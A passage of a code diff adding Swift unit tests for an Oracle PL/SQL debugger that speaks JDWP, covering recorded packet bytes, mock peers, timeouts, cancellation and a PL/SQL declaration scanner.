+        #expect(OracleJDWPPacket.command(id: 3, commandSet: 15, command: 1, data: classPrepare).encoded
+            == OracleJDWPRecording.classPrepareCommand)
+        let breakpoint = OracleJDWPRequest.breakpoint(
+            at: OracleJDWPLocation(classID: 2, methodID: 4, index: 6),
+            sizes: sizes
+        )
+        #expect(OracleJDWPPacket.command(id: 7, commandSet: 15, command: 1, data: breakpoint).encoded
+            == OracleJDWPRecording.breakpointCommand)
+        var frames = OracleJDWPWriter(sizes: sizes)
+        frames.id(1, .object)
+        frames.i32(0)
+        frames.i32(-1)
+        #expect(OracleJDWPPacket.command(id: 9, commandSet: 11, command: 6, data: frames.data).encoded
+            == OracleJDWPRecording.framesCommand)
+    }
+
+    @Test func testFramesReplyReadsThreeFramesWithEightByteIDs() throws {
+        let decoded = try #require(try OracleJDWPPacket.decode(from: OracleJDWPRecording.framesReply))
+        guard case let .reply(_, _, data) = decoded.packet else {
+            Issue.record("expected a reply")
+            return
+        }
+        var reader = OracleJDWPReader(data, sizes: sizes)
+        #expect(try reader.i32() == 3)
+        #expect(try reader.id(.frame) == 0x1_0000_0001)
+        #expect(try reader.location() == OracleJDWPLocation(classID: 2, methodID: 4, index: 6))
+        #expect(try reader.id(.frame) == 0x1_0000_0002)
+        #expect(try reader.location() == OracleJDWPLocation(classID: 2, methodID: 5, index: 14))
+    }
+
+    @Test func testTaggedValuesReadEachWidth() throws {
+        var writer = OracleJDWPWriter(sizes: sizes)
+        writer.u8(UInt8(ascii: "Z"))
+        writer.u8(1)
+        writer.u8(UInt8(ascii: "I"))
+        writer.i32(30)
+        writer.u8(UInt8(ascii: "s"))
+        writer.id(0, .object)
+        writer.u8(UInt8(ascii: "L"))
+        writer.id(72, .object)
+        var reader = OracleJDWPReader(writer.data, sizes: sizes)
+        #expect(try reader.taggedValue() == .primitive(tag: UInt8(ascii: "Z"), bits: 1))
+        #expect(try reader.taggedValue() == .primitive(tag: UInt8(ascii: "I"), bits: 30))
+        #expect(try reader.taggedValue() == .object(tag: OracleJDWPValue.stringTag, id: 0))
+        #expect(try reader.taggedValue().objectID == 72)
+        #expect(reader.isAtEnd)
+    }
+
+    @Test func testATruncatedBodyThrows() {
+        var reader = OracleJDWPReader(Data([0, 0, 0, 9, 65]), sizes: sizes)
+        #expect(throws: OracleJDWPError.truncated) { try reader.string() }
+    }
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPRecording.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPRecording.swift
new file mode 100644
index 0000000000..d2b92701e6
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPRecording.swift
@@ -0,0 +1,63 @@
+import Foundation
+
+// Bytes from a live run against Oracle AI Database 26ai Free 23.26.3 (the debugger stopping in PROBE.PKG_CALC.ADD_TAX at
+// line 6, called from RUN line 14): what this side sent and what the database sent back, in order.
+enum OracleJDWPRecording {
+    static let idSizesCommand = bytes("0000000b00000001000107")
+    static let vmStartEvent = bytes("000000190000000100406402000000015a0000000000000001")
+    static let idSizesReply = bytes("0000001f000000018000000000000400000004000000040000000400000008")
+    static let versionCommand = bytes("0000000b00000002000101")
+    static let versionReply = bytes(
+        "0000006e000000028000000000002c4f7261636c65204d756c74696c616e677561676520446562756767657220766572" +
+        "73696f6e2032332e302e3000000001000000000000000632332e302e300000001d4f7261636c65204d756c74696c616e" +
+        "6775616765204465627567676572"
+    )
+    static let classPrepareCommand = bytes(
+        "0000003800000003000f010802000000010500000022244f7261636c652f5061636b616765426f64792f50524f42452f" +
+        "504b475f43414c43"
+    )
+    static let classPrepareReply = bytes("0000000f0000000380000000000001")
+    static let resumeCommand = bytes("0000000b00000004000109")
+    static let resumeReply = bytes("0000000b00000004800000")
+    static let classPrepareEvent = bytes(
+        "0000004a0000000400406402000000010800000001000000010100000002000000244c244f7261636c652f5061636b61" +
+        "6765426f64792f50524f42452f504b475f43414c433b00000007"
+    )
+    static let methodsCommand = bytes("0000000f0000000500020500000002")
+    static let methodsReply = bytes(
+        "00000107000000058000000000000400000003000000083c636c696e69743e000000032829560000000a000000040000" +
+        "00074144445f54415800000032284c244f7261636c652f4275696c74696e2f4e554d4245523b294c244f7261636c652f" +
+        "4275696c74696e2f4e554d4245523b00000009000000050000000352554e00000020284c244f7261636c652f4275696c" +
+        "74696e2f504c535f494e54454745523b29560000000900000006000000074144445f5441580000004a284c244f726163" +
+        "6c652f4275696c74696e2f4e554d4245523b4c244f7261636c652f4275696c74696e2f4e554d4245523b294c244f7261" +
+        "636c652f4275696c74696e2f4e554d4245523b00000009"
+    )
+    static let lineTableCommand = bytes("00000013000000060006010000000200000004")
+    static let lineTableReply = bytes(
+        "0000005b0000000680000000000000000000030000000000000008000000050000000000000003000000030000000000" +
+        "00000500000005000000000000000600000006000000000000000700000007000000000000000800000008"
+    )
+    static let breakpointCommand = bytes("0000002300000007000f01020200000001070100000002000000040000000000000006")
+    static let breakpointReply = bytes("0000000f0000000780000000000002")
+    static let resume2Command = bytes("0000000b00000008000109")
+    static let resume2Reply = bytes("0000000b00000008800000")
+    static let breakpointEvent = bytes("0000002a0000000700406402000000010200000002000000010100000002000000040000000000000006")
+    static let framesCommand = bytes("0000001700000009000b060000000100000000ffffffff")
+    static let framesReply = bytes(
+        "0000005a0000000980000000000003000000010000000101000000020000000400000000000000060000000100000002" +
+        "010000000200000005000000000000000e0000000100000003010000000a000000040000000000000001"
+    )
+    static let disposeCommand = bytes("0000000b0000000a000106")
+    static let disposeReply = bytes("0000000b0000000a800000")
+
+    static func bytes(_ hex: String) -> Data {
+        var data = Data()
+        var index = hex.startIndex
+        while index < hex.endIndex {
+            let next = hex.index(index, offsetBy: 2)
+            data.append(UInt8(hex[index..<next], radix: 16) ?? 0)
+            index = next
+        }
+        return data
+    }
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPRespondingPeer.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPRespondingPeer.swift
new file mode 100644
index 0000000000..98cfd8f7e4
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPRespondingPeer.swift
@@ -0,0 +1,79 @@
+import Foundation
+import os
+@testable import TableProOracleCore
+
+// A peer that answers each command through `respond`, the reply renumbered to the command's id, and records what this
+// side sent. A nil answer is never sent, so the command stays in flight.
+final class RespondingPeer: OracleJDWPTransport, @unchecked Sendable {
+    struct Sent {
+        let commandSet: UInt8
+        let command: UInt8
+        let body: Data
+    }
+
+    private struct State {
+        var inbound: [Data] = [OracleJDWPPacket.handshake]
+        var waiter: CheckedContinuation<Data?, Never>?
+        var closed = false
+        var sent: [Sent] = []
+    }
+
+    private let state = OSAllocatedUnfairLock(initialState: State())
+    private let respond: @Sendable (Sent) -> (events: [Data], errorCode: UInt16, body: Data)?
+
+    init(respond: @escaping @Sendable (Sent) -> (events: [Data], errorCode: UInt16, body: Data)?) {
+        self.respond = respond
+    }
+
+    var sent: [Sent] { state.withLock { $0.sent } }
+
+    func send(_ data: Data) async throws {
+        guard data != OracleJDWPPacket.handshake, let (packet, _) = try OracleJDWPPacket.decode(from: data),
+              case let .command(id, commandSet, command, body) = packet else { return }
+        let sent = Sent(commandSet: commandSet, command: command, body: body)
+        state.withLock { $0.sent.append(sent) }
+        guard let answer = respond(sent) else { return }
+        for event in answer.events {
+            deliver(event)
+        }
+        deliver(OracleJDWPPacket.reply(id: id, errorCode: answer.errorCode, data: answer.body).encoded)
+    }
+
+    private func deliver(_ data: Data) {
+        let waiter = state.withLock { current -> CheckedContinuation<Data?, Never>? in
+            if let waiter = current.waiter {
+                current.waiter = nil
+                return waiter
+            }
+            current.inbound.append(data)
+            return nil
+        }
+        waiter?.resume(returning: data)
+    }
+
+    func receive() async throws -> Data? {
+        await withCheckedContinuation { continuation in
+            let ready = state.withLock { current -> Data?? in
+                if !current.inbound.isEmpty { return .some(current.inbound.removeFirst()) }
+                if current.closed { return .some(nil) }
+                current.waiter = continuation
+                return nil
+            }
+            if let ready { continuation.resume(returning: ready) }
+        }
+    }
+
+    func close() {
+        let waiter = state.withLock { current -> CheckedContinuation<Data?, Never>? in
+            current.closed = true
+            defer { current.waiter = nil }
+            return current.waiter
+        }
+        waiter?.resume(returning: nil)
+    }
+}
+
+func replyBody(_ packet: Data) -> Data {
+    guard let decoded = try? OracleJDWPPacket.decode(from: packet), case let .reply(_, _, body) = decoded.packet else { return Data() }
+    return body
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPSessionStartTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPSessionStartTests.swift
new file mode 100644
index 0000000000..e46ed0a81b
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPSessionStartTests.swift
@@ -0,0 +1,99 @@
+import Foundation
+import os
+@testable import TableProOracleCore
+import Testing
+
+struct OracleJDWPSessionStartTests {
+    private let calcBody = OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody)
+
+    private func makeSession(_ peer: RespondingPeer) async throws -> OracleJDWPDebugSession {
+        let connection = OracleJDWPConnection(transport: peer, replyTimeout: .seconds(5))
+        try await connection.handshake()
+        let offline = OracleCoreConnection(options: OracleConnectionOptions(host: "127.0.0.1", user: "probe", password: "x"))
+        return OracleJDWPDebugSession(
+            connection: connection,
+            target: offline,
+            helper: offline,
+            entryPoint: OracleDebugEntryPoint(
+                entry: OracleDebugEntry(unit: calcBody, subprogram: "RUN", subprogramID: 3),
+                overload: nil,
+                parameters: [],
+                result: nil
+            ),
+            invocation: OracleDebugStatements.Invocation(block: "BEGIN NULL; END;", binds: []),
+            connectCall: Task { .success([]) },
+            notices: []
+        )
+    }
+
+    // A logon trigger or startup command that ran the package loads it before CONNECT_TCP, so no CLASS_PREPARE may
+    // announce it; the session finds it with ClassesBySignature and sets the entry breakpoint before resuming.
+    @Test func testAnAlreadyLoadedUnitGetsItsEntryBreakpointBeforeTheResume() async throws {
+        let requestIDs = OSAllocatedUnfairLock(initialState: Int32(0))
+        let peer = RespondingPeer { sent in
+            var writer = OracleJDWPWriter(sizes: .oracle)
+            switch (sent.commandSet, sent.command) {
+            case (OracleJDWPCommand.virtualMachine, OracleJDWPCommand.idSizes):
+                return ([OracleJDWPRecording.vmStartEvent], 0, replyBody(OracleJDWPRecording.idSizesReply))
+            case (OracleJDWPCommand.virtualMachine, OracleJDWPCommand.classesBySignature):
+                writer.i32(1)
+                writer.u8(1)
+                writer.id(2, .referenceType)
+                writer.i32(7)
+            case (OracleJDWPCommand.referenceType, OracleJDWPCommand.methods):
+                return ([], 0, replyBody(OracleJDWPRecording.methodsReply))
+            case (OracleJDWPCommand.method, OracleJDWPCommand.lineTable):
+                return ([], 0, replyBody(OracleJDWPRecording.lineTableReply))
+            case (OracleJDWPCommand.eventRequest, OracleJDWPCommand.set):
+                writer.i32(requestIDs.withLock { id -> Int32 in
+                    id += 1
+                    return id
+                })
+            default:
+                break
+            }
+            return ([], 0, writer.data)
+        }
+        let session = try await makeSession(peer)
+        try await session.start(breakpoints: [])
+        let sent = peer.sent
+        let breakpoint = sent.firstIndex {
+            $0.commandSet == OracleJDWPCommand.eventRequest && $0.command == OracleJDWPCommand.set
+                && $0.body.first == OracleJDWPEventKind.breakpoint.rawValue
+        }
+        let resume = sent.firstIndex { $0.commandSet == OracleJDWPCommand.virtualMachine && $0.command == OracleJDWPCommand.resume }
+        #expect(breakpoint != nil)
+        #expect(resume != nil)
+        if let breakpoint, let resume {
+            #expect(breakpoint < resume)
+        }
+        #expect(await session.stop() == .ended)
+    }
+
+    // An error code the database answers becomes a written error, never an unreadable Swift one.
+    @Test func testARefusedCommandBecomesAWrittenError() async throws {
+        let peer = RespondingPeer { sent in
+            if sent.commandSet == OracleJDWPCommand.virtualMachine, sent.command == OracleJDWPCommand.idSizes {
+                return ([OracleJDWPRecording.vmStartEvent], 0, replyBody(OracleJDWPRecording.idSizesReply))
+            }
+            return ([], 99, Data())
+        }
+        let session = try await makeSession(peer)
+        await #expect(throws: OracleDebugError.debuggerRefused(code: 99)) {
+            try await session.start(breakpoints: [])
+        }
+        #expect(await session.stop() == .ended)
+    }
+
+    // One slot the database cannot read fails the batch; each is then read alone and only that one is left out.
+    @Test func testAnUnreadableSlotIsSkippedInsteadOfFailingTheFrame() async throws {
+        let calls = OSAllocatedUnfairLock(initialState: [[Int]]())
+        let values = try await OracleJDWPDebugSession.readSlots([0, 1, 2]) { slots in
+            calls.withLock { $0.append(slots) }
+            if slots.contains(1) { throw OracleJDWPError.reply(code: 35) }
+            return slots.map { OracleJDWPValue.object(tag: OracleJDWPValue.objectTag, id: UInt64($0 + 10)) }
+        }
+        #expect(values == [.object(tag: OracleJDWPValue.objectTag, id: 10), nil, .object(tag: OracleJDWPValue.objectTag, id: 12)])
+        #expect(calls.withLock { $0 } == [[0, 1, 2], [0], [1], [2]])
+    }
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPSilentPeerTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPSilentPeerTests.swift
new file mode 100644
index 0000000000..5e714089af
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPSilentPeerTests.swift
@@ -0,0 +1,178 @@
+import Foundation
+import os
+@testable import TableProOracleCore
+import Testing
+
+// A peer that completes the handshake, answers IDSizes with the recorded reply and its VM_START, then never answers
+// again: what a hung or hostile server looks like after the database connected back.
+private final class SilentPeerTransport: OracleJDWPTransport, @unchecked Sendable {
+    private struct State {
+        var inbound: [Data] = [OracleJDWPPacket.handshake]
+        var waiter: CheckedContinuation<Data?, Never>?
+        var closed = false
+        var commands = 0
+        var commandWaiters: [(count: Int, continuation: CheckedContinuation<Void, Never>)] = []
+        var closeWaiters: [CheckedContinuation<Void, Never>] = []
+    }
+
+    private let state = OSAllocatedUnfairLock(initialState: State())
+
+    var isClosed: Bool { state.withLock { $0.closed } }
+
+    // Returns once this many commands (packets after the handshake) have been sent.
+    func commandsSent(_ count: Int) async {
+        await withCheckedContinuation { continuation in
+            let ready = state.withLock { current -> Bool in
+                if current.commands >= count { return true }
+                current.commandWaiters.append((count, continuation))
+                return false
+            }
+            if ready { continuation.resume() }
+        }
+    }
+
+    func closedEvent() async {
+        await withCheckedContinuation { continuation in
+            let ready = state.withLock { current -> Bool in
+                if current.closed { return true }
+                current.closeWaiters.append(continuation)
+                return false
+            }
+            if ready { continuation.resume() }
+        }
+    }
+
+    func send(_ data: Data) async throws {
+        guard data.count >= 11 else { return }
+        let reached = state.withLock { current -> [CheckedContinuation<Void, Never>] in
+            current.commands += 1
+            let ready = current.commandWaiters.filter { $0.count <= current.commands }.map(\.continuation)
+            current.commandWaiters.removeAll { $0.count <= current.commands }
+            return ready
+        }
+        for waiter in reached {
+            waiter.resume()
+        }
+        guard data[data.startIndex + 9] == OracleJDWPCommand.virtualMachine,
+              data[data.startIndex + 10] == OracleJDWPCommand.idSizes else { return }
+        var reply = OracleJDWPRecording.idSizesReply
+        reply.replaceSubrange(reply.startIndex + 4..<reply.startIndex + 8, with: data.prefix(8).suffix(4))
+        deliver(OracleJDWPRecording.vmStartEvent)
+        deliver(reply)
+    }
+
+    private func deliver(_ data: Data) {
+        let waiter = state.withLock { current -> CheckedContinuation<Data?, Never>? in
+            if let waiter = current.waiter {
+                current.waiter = nil
+                return waiter
+            }
+            current.inbound.append(data)
+            return nil
+        }
+        waiter?.resume(returning: data)
+    }
+
+    func receive() async throws -> Data? {
+        await withCheckedContinuation { continuation in
+            let ready = state.withLock { current -> Data?? in
+                if !current.inbound.isEmpty { return .some(current.inbound.removeFirst()) }
+                if current.closed { return .some(nil) }
+                current.waiter = continuation
+                return nil
+            }
+            if let ready { continuation.resume(returning: ready) }
+        }
+    }
+
+    func close() {
+        let (waiter, closeWaiters) = state.withLock { current -> (CheckedContinuation<Data?, Never>?, [CheckedContinuation<Void, Never>]) in
+            current.closed = true
+            defer {
+                current.waiter = nil
+                current.closeWaiters.removeAll()
+            }
+            return (current.waiter, current.closeWaiters)
+        }
+        waiter?.resume(returning: nil)
+        for closeWaiter in closeWaiters {
+            closeWaiter.resume()
+        }
+    }
+}
+
+struct OracleJDWPSilentPeerTests {
+    private func session(replyTimeout: Duration) async throws -> (OracleJDWPDebugSession, SilentPeerTransport) {
+        let transport = SilentPeerTransport()
+        let connection = OracleJDWPConnection(transport: transport, replyTimeout: replyTimeout)
+        try await connection.handshake()
+        let unit = OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody)
+        let entryPoint = OracleDebugEntryPoint(
+            entry: OracleDebugEntry(unit: unit, subprogram: "RUN", subprogramID: 3),
+            overload: nil,
+            parameters: [],
+            result: nil
+        )
+        let offline = OracleCoreConnection(options: OracleConnectionOptions(host: "127.0.0.1", user: "probe", password: "x"))
+        let session = OracleJDWPDebugSession(
+            connection: connection,
+            target: offline,
+            helper: offline,
+            entryPoint: entryPoint,
+            invocation: OracleDebugStatements.Invocation(block: "BEGIN NULL; END;", binds: []),
+            connectCall: Task { .success([]) },
+            notices: []
+        )
+        return (session, transport)
+    }
+
+    // The ClassPrepare request after VM_START gets no answer; the reply timeout ends the start and the socket.
+    @Test func testAStartAgainstASilentPeerFailsWithinTheReplyTimeout() async throws {
+        let (session, transport) = try await session(replyTimeout: .milliseconds(300))
+        let started = ContinuousClock.now
+        await #expect(throws: OracleDebugError.debuggerStoppedAnswering) {
+            try await session.start(breakpoints: [])
+        }
+        #expect(ContinuousClock.now - started < .seconds(3))
+        #expect(transport.isClosed)
+    }
+
+    // Tab close or module off cancels the start: it returns at once and the socket closes, which ends the target.
+    @Test func testCancellingAStartWaitingOnASilentPeerReturnsPromptly() async throws {
+        let (session, transport) = try await session(replyTimeout: .seconds(60))
+        let start = Task { try await session.start(breakpoints: []) }
+        // IDSizes is answered; the ClassPrepare request after VM_START is the one left waiting.
+        await transport.commandsSent(2)
+        let started = ContinuousClock.now
+        start.cancel()
+        await #expect(throws: CancellationError.self) { try await start.value }
+        await transport.closedEvent()
+        #expect(ContinuousClock.now - started < .seconds(3))
+    }
+
+    @Test func testAReplyThatNeverComesFailsTheCommandAndClosesTheConnection() async throws {
+        let transport = SilentPeerTransport()
+        let connection = OracleJDWPConnection(transport: transport, replyTimeout: .milliseconds(200))
+        try await connection.handshake()
+        await #expect(throws: OracleJDWPError.timedOut) {
+            try await connection.send(OracleJDWPCommand.virtualMachine, OracleJDWPCommand.resume)
+        }
+        #expect(await connection.closed)
+        #expect(transport.isClosed)
+        await #expect(throws: OracleJDWPError.closed) {
+            try await connection.send(OracleJDWPCommand.virtualMachine, OracleJDWPCommand.resume)
+        }
+    }
+
+    @Test func testACancelledCommandThrowsCancellationAndClosesTheConnection() async throws {
+        let transport = SilentPeerTransport()
+        let connection = OracleJDWPConnection(transport: transport, replyTimeout: .seconds(60))
+        try await connection.handshake()
+        let waiting = Task { try await connection.send(OracleJDWPCommand.virtualMachine, OracleJDWPCommand.resume) }
+        await transport.commandsSent(1)
+        waiting.cancel()
+        await #expect(throws: CancellationError.self) { try await waiting.value }
+        await transport.closedEvent()
+        #expect(await connection.closed)
+    }
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPStopOverlapTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPStopOverlapTests.swift
new file mode 100644
index 0000000000..cf976abab1
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPStopOverlapTests.swift
@@ -0,0 +1,56 @@
+import Foundation
+@testable import TableProOracleCore
+import Testing
+
+struct OracleJDWPStopOverlapTests {
+    private let calcBody = OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody)
+
+    private func makeSession(_ peer: RespondingPeer) async throws -> OracleJDWPDebugSession {
+        let connection = OracleJDWPConnection(transport: peer, replyTimeout: .seconds(5))
+        try await connection.handshake()
+        let offline = OracleCoreConnection(options: OracleConnectionOptions(host: "127.0.0.1", user: "probe", password: "x"))
+        return OracleJDWPDebugSession(
+            connection: connection,
+            target: offline,
+            helper: offline,
+            entryPoint: OracleDebugEntryPoint(
+                entry: OracleDebugEntry(unit: calcBody, subprogram: "RUN", subprogramID: 3),
+                overload: nil,
+                parameters: [],
+                result: nil
+            ),
+            invocation: OracleDebugStatements.Invocation(block: "BEGIN NULL; END;", binds: []),
+            connectCall: Task { .success([]) },
+            notices: []
+        )
+    }
+
+    // Stop closes the socket, which fails the reply the breakpoint call still awaits: the call ends with Stop at once,
+    // not at the 5 s reply timeout.
+    @Test func testStopEndsABreakpointCallStillWaitingForItsReply() async throws {
+        let (arrivals, arrival) = AsyncStream.makeStream(of: Void.self)
+        let peer = RespondingPeer { _ in
+            arrival.yield()
+            return nil
+        }
+        let session = try await makeSession(peer)
+        let breakpoint = Task { try await session.setBreakpoint(in: calcBody, line: 4) }
+        var waiting = arrivals.makeAsyncIterator()
+        _ = await waiting.next()
+        let started = ContinuousClock.now
+        #expect(await session.stop() == .ended)
+        await #expect(throws: OracleDebugError.ended) { _ = try await breakpoint.value }
+        #expect(ContinuousClock.now - started < .seconds(3))
+    }
+
+    @Test func testConcurrentStopsShareOneOutcomeAndLaterCallsSendNothing() async throws {
+        let peer = RespondingPeer { _ in ([], 0, Data()) }
+        let session = try await makeSession(peer)
+        async let first = session.stop()
+        async let second = session.stop()
+        #expect(await [first, second] == [.ended, .ended])
+        await #expect(throws: OracleDebugError.ended) { _ = try await session.setBreakpoint(in: calcBody, line: 4) }
+        await #expect(throws: OracleDebugError.ended) { _ = try await session.source(of: calcBody) }
+        #expect(peer.sent.isEmpty)
+    }
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OraclePLSQLDeclarationScanTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OraclePLSQLDeclarationScanTests.swift
new file mode 100644
index 0000000000..375106131c
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OraclePLSQLDeclarationScanTests.swift
@@ -0,0 +1,220 @@
+import Foundation
+@testable import TableProOracleCore
+import Testing
+
+struct OraclePLSQLDeclarationScanTests {
+    // PROBE.PKG_CALC's body exactly as ALL_SOURCE returned it in the measurements.
+    private let packageBody = """
+        package body pkg_calc as
+          g_rate number := 0.1;
+          function add_tax(p_amount number) return number is
+            l_tax number;
+          begin
+            l_tax := p_amount * g_rate;
+            return p_amount + l_tax;
+          end add_tax;
+          procedure run(p_n pls_integer) is
+            l_total number := 0;
+            l_name  varchar2(30) := 'probe';
+          begin
+            for i in 1 .. p_n loop
+              l_total := l_total + add_tax(i);
+            end loop;
+            dbms_output.put_line(l_name || ' total=' || l_total);
+          end run;
+          function add_tax(p_amount number, p_rate number) return number is
+          begin
+            return p_amount + p_amount * p_rate;
+          end add_tax;
+        end pkg_calc;
+        """
+
+    @Test func testSubprogramsAndTheirLineRanges() {
+        let scan = OraclePLSQLDeclarationScan(source: packageBody)
+        let subprograms = scan.subprograms.map { "\($0.name) \($0.headerLine)-\($0.endLine ?? 0)" }
+        #expect(subprograms == ["ADD_TAX 3-8", "RUN 9-17", "ADD_TAX 18-21"])
+        #expect(scan.headerLines(ofSubprogramNamed: "ADD_TAX") == [3, 18])
+        #expect(scan.headerLines(ofSubprogramNamed: "RUN") == [9])
+    }
+
+    @Test func testCandidatesFollowTheFrameLine() {
+        let scan = OraclePLSQLDeclarationScan(source: packageBody)
+        #expect(scan.candidates(atLine: 6).map(\.name) == ["P_AMOUNT", "L_TAX"])
+        #expect(scan.candidates(atLine: 6).map(\.kind) == [.parameter, .variable])
+        #expect(scan.candidates(atLine: 14).map(\.name) == ["P_N", "L_TOTAL", "L_NAME", "I"])
+        #expect(scan.candidates(atLine: 9).map(\.name) == ["P_N", "L_TOTAL", "L_NAME"])
+        #expect(scan.candidates(atLine: 20).map(\.name) == ["P_AMOUNT", "P_RATE"])
+        #expect(scan.candidates(atLine: 11).first { $0.name == "L_NAME" }?.typeText == "VARCHAR2(30)")
+        #expect(scan.packageVariables.map(\.name) == ["G_RATE"])
+    }
+
+    // A FOR loop's index lives from its FOR to its END LOOP, and shadows a local of the same name only there.
+    @Test func testALoopIndexIsVisibleOnlyInsideItsLoop() {
+        let scan = OraclePLSQLDeclarationScan(source: packageBody)
+        #expect(scan.candidates(atLine: 16).map(\.name) == ["P_N", "L_TOTAL", "L_NAME"])
+
+        let shadowing = OraclePLSQLDeclarationScan(source: """
+            procedure p is
+              i varchar2(10) := 'outer';
+            begin
+              for i in 1 .. 2 loop
+                null;
+              end loop;
+              null;
+            end p;
+            """)
+        #expect(shadowing.candidates(atLine: 5).first { $0.name == "I" }?.kind == .iterator)
+        #expect(shadowing.candidates(atLine: 7).first { $0.name == "I" }?.kind == .variable)
+    }
+
+    @Test func testTypesCursorsExceptionsAndConstantsAreTold() {
+        let scan = OraclePLSQLDeclarationScan(source: """
+            function f_calc(p_a number, p_b in out nocopy varchar2 default 'x') return number is
+              type t_rec is record (a number, b varchar2(10));
+              cursor c_rows is select 1 from dual;
+              e_bad exception;
+              pragma exception_init(e_bad, -20001);
+              c_limit constant pls_integer := 10;
+              l_rec t_rec;
+            begin
+              return p_a * 2;
+            end f_calc;
+            """)
+        let names = scan.candidates(atLine: 9).map(\.name)
+        #expect(names == ["P_A", "P_B", "C_LIMIT", "L_REC"])
+        #expect(scan.candidates(atLine: 9).first { $0.name == "C_LIMIT" }?.kind == .constant)
+        #expect(scan.candidates(atLine: 9).first { $0.name == "P_B" }?.typeText == "VARCHAR2")
+    }
+
+    @Test func testCommentsStringsAndQuotedNamesDoNotConfuseTheScan() {
+        let scan = OraclePLSQLDeclarationScan(source: """
+            procedure p is
+              -- procedure fake is begin end;
+              /* function g return number is begin return 1; end; */
+              l_text varchar2(100) := q'[it's begin; end]';
+              "Mixed Case" number;
+            begin
+              l_text := 'end; begin';
+              declare
+                l_inner number;
+              begin
+                null;
+              end;
+              case when l_text is null then null; else null; end case;
+            end p;
+            """)
+        #expect(scan.subprograms.map(\.name) == ["P"])
+        #expect(scan.subprograms.first?.endLine == 14)
+        #expect(scan.candidates(atLine: 7).map(\.name) == ["L_TEXT", "Mixed Case"])
+        #expect(scan.candidates(atLine: 11).map(\.name) == ["L_TEXT", "Mixed Case", "L_INNER"])
+    }
+
+    // GET_VALUE reads the innermost binding of a name, so the row must carry that declaration's type.
+    @Test func testAnInnerBlockShadowsAnOuterNameOnlyWhileItRuns() {
+        let scan = OraclePLSQLDeclarationScan(source: """
+            procedure p_shadow is
+              x constant number := 1;
+              l_outer number := 2;
+            begin
+              declare
+                x varchar2(20) := 'inner';
+              begin
+                l_outer := l_outer + 1;
+              end;
+              l_outer := x;
+            end p_shadow;
+            """)
+        let inside = scan.candidates(atLine: 8)
+        #expect(inside.map(\.name) == ["L_OUTER", "X"])
+        #expect(inside.first { $0.name == "X" }?.typeText == "VARCHAR2(20)")
+        #expect(inside.first { $0.name == "X" }?.kind == .variable)
+        let after = scan.candidates(atLine: 10)
+        #expect(after.map(\.name) == ["X", "L_OUTER"])
+        #expect(after.first { $0.name == "X" }?.typeText == "NUMBER")
+        #expect(after.first { $0.name == "X" }?.kind == .constant)
+    }
+
+    @Test func testANestedBlockIsVisibleOnlyInsideItAndToSubprogramsItDeclares() {
+        let scan = OraclePLSQLDeclarationScan(source: """
+            procedure p_nested(p_n number) is
+              l_a number := 1;
+            begin
+              declare
+                l_b number := 2;
+                procedure show(p_v number) is
+                begin
+                  dbms_output.put_line(p_v + l_b);
+                end show;
+              begin
+                show(l_a);
+              end;
+              l_a := l_a + p_n;
+            end p_nested;
+            """)
+        #expect(scan.candidates(atLine: 8).map(\.name) == ["P_V", "P_N", "L_A", "L_B"])
+        #expect(scan.candidates(atLine: 11).map(\.name) == ["P_N", "L_A", "L_B"])
+        #expect(scan.candidates(atLine: 13).map(\.name) == ["P_N", "L_A"])
+    }
+
+    // Oracle folds an unquoted name to upper case: `y` is `"Y"`, but `x` is not `"x"`.
+    @Test func testAQuotedNameIsShadowedOnlyByTheSameName() {
+        let scan = OraclePLSQLDeclarationScan(source: """
+            procedure p_case is
+              "x" number := 1;
+              "Y" number := 2;
+            begin
+              declare
+                x varchar2(20) := 'upper';
+                y varchar2(5) := 'y';
+              begin
+                null;
+              end;
+              null;
+            end p_case;
+            """)
+        let inside = scan.candidates(atLine: 9)
+        #expect(inside.map(\.lookupName) == ["\"x\"", "X", "Y"])
+        #expect(inside.map(\.typeText) == ["NUMBER", "VARCHAR2(20)", "VARCHAR2(5)"])
+        let after = scan.candidates(atLine: 11)
+        #expect(after.map(\.lookupName) == ["\"x\"", "\"Y\""])
+        #expect(after.map(\.typeText) == ["NUMBER", "NUMBER"])
+    }
+
+    // A quoted name keeps its case and its dots and spaces; GET_VALUE gets it quoted, the Variables list shows it bare.
+    @Test func testAQuotedNameIsLookedUpQuotedAndShownBare() {
+        let scan = OraclePLSQLDeclarationScan(source: """
+            package body pkg_quoted as
+              "g.Rate" number := 0.2;
+              procedure run("p.in" number) is
+                "a.b" number := 7;
+                "lower" number;
+                "with space" varchar2(10);
+                l_plain number;
+              begin
+                for "i.x" in 1 .. 2 loop
+                  null;
+                end loop;
+              end run;
+            end pkg_quoted;
+            """)
+        let candidates = scan.candidates(atLine: 10)
+        #expect(candidates.map(\.name) == ["p.in", "a.b", "lower", "with space", "L_PLAIN", "i.x"])
